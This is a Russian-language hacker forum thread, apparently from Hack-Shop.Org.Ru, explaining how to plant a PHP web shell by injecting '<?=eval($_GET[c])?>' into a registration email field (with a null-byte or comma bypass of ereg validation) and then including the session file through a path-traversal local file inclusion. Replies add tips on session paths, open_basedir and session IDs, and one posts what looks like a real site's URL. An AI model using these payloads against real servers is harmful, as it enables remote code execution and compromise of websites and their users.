![]() |
Инъекция кода в mail()
Инъекция кода в mail()
К написанию этой заметки меня подтолкнуло одно из заданий в ROA. Суть сводится к тому, что в первый аргумент mail() (адресат) можно подставить посторонний php-код, при этом не влияя на успешность отправки. Данный способ актуален только для сайтов, где необходимо подтверждение регистрации (то есть необходимо указать верный E-mail и в то же время подставить код). В противном случае задача состоит лишь в обходе фильтрации, что не входит в рамки данной темы. Для получения шелла необходимо: 1. LFI на уязвимом сайте (с возможность инклуда сессий). 2. В сессию записывается E-mail пользователя (имеется во многих самописных движках). 3. Имеется возможность обхода фильтрации вводимого пользователем E-mail'a либо её полное отсутствие. 4. magic_quotes_gpc = off (в случае присутствия фильтрации, для вставки нуллбайта). При соблюдении этих условий для получения шелла необходимо (возможны различные вариации): 1. Подставить php-код в поле E-mail'a при регистрации. 2. Залогиниться. 3. Проинклудить сессию. ---------------------------------------------------------------------------------- Рассмотрим на примере. На сайте site.com имеется LFI с возможностью инклуда сессий: http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID} На страницу выводится нечто подобное: Код:
user_login|s:N:"{YOUR_LOGIN}";user_mail|s:N:"{YOUR_EMAIL}";user_password|s:32:"{YOUR_HASH}";Вариант с подстановкой php-кода в {YOUR_LOGIN} я рассматривать не буду, так как часто это поле жёстко фильтруется + обрабатывается htmlentities() + ограничено по длине. Рассмотрим вариант с E-mail. Часто в скриптах используется валидация E-mail при помощи бинарно-небезопасной функции ereg_*, поэтому нужно добавить нуллбайт %00 (функция воспримет его как конец строки и прекратит её обработку): Код:
your_mail@mail.ru%00<?=eval($_GET[c])?>В случае, если введён рабочий E-mail, на него благополучно придёт сообщение. Примерный запрос регистрации: Код:
POST /register.php HTTP/1.1После подтверждения регистрации и входа на сайт инклудим сессию: http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID}&c=phpinfo(); Шелл получен. ---------------------------------------------------------------------------------- (с) [x26]VOLAND |
Код шелла можно указывать через запятую.
Код:
your_mail@mail.ru, <?=eval($_GET[c])?> |
Очень много если должно совпасть, бывают такие ситуации что например include path ограничеваеться веб дирикторией, также возможен вариант что имя сессии не всегда sess_{YOUR_SESSION_ID}(возможно что сессия вообше хранится в бд ведь пхп это позволяет - http://ua.php.net/manual/en/function.session-set-save-handler.php).
|
Пхп всегда разрешает обращение к директории с сессиями.
Чтобы узнать её, нужно проинклудить конфиг апача. Но зачастую сессии просто хранятся в /tmp/ ... Цитата:
У каждого способа есть свои ограничения. Это естественно. |
Цитата:
|
PaCo, open_basedir в 99% случаев разрешает инклуд из /tmp, ну или из папки где хранятся сессии
|
SESSION_ID брать из куков, я правильно понимаю?
|
Либо из куков, либо из url. Зависит от настройки пхп.
|
[x26]VOLAND
Внимательно перечитал твою тему, сначало подумал что речь пойдет о mail в perl когда еще в 2000 году был баг с произвольным исполнением команд, но крайне удивился когда ты описал еще более древнюю тему, слегка не понял зачем исползывать именно mail() функцию когда речь идет о сессиях вообщем. И вообще в моем понимании если есть локальный инклуд то это 100% шелл, но раз уж речь пошла о сессиях то в них передаеться не только имя пользователя пароль маил но дофига другой инфы, короче говоря мы просто можем отснифать весь трафик и подделать запрос с именем пользователя это как правило не прокатит, а вот например с текущем языком или текущей страницей на которой находиться пользователей то это оч просто... особенно это канает в движках на ajax. [ cash ] (c) Hack-Shop.Org.Ru |
Цитата:
Код:
http://wow.alania.net/index.php?page=1 |
| Время: 13:10 |